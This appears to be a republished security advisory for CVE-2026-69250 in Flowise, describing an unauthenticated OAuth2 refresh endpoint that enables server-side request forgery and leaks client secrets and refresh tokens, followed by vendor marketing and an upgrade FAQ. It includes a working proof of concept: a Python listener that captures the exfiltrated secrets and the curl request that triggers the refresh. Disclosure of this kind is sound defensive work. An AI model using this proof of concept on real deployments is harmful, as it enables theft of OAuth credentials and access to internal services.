Summary

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.
  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.
  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
    • outbound SSRF to attacker/internal targets,
    • direct leak of client_secret and refresh_token to SSRF target,
    • direct response read from target via API response (tokenInfo).
  • Deployment impact:
    • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Frequently Asked Questions

  1. What is CVE-2026-69250? CVE-2026-69250 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.
  2. Which versions of flowise are affected by CVE-2026-69250? flowise (npm) versions <= 3.1.2 is affected.
  3. Is there a fix for CVE-2026-69250? Yes. CVE-2026-69250 is fixed in 3.1.3. Upgrade to this version or later.
  4. Is CVE-2026-69250 exploitable, and should I be worried? Whether CVE-2026-69250 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

  5. What actually determines whether CVE-2026-69250 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-69250? Upgrade flowise to 3.1.3 or later.
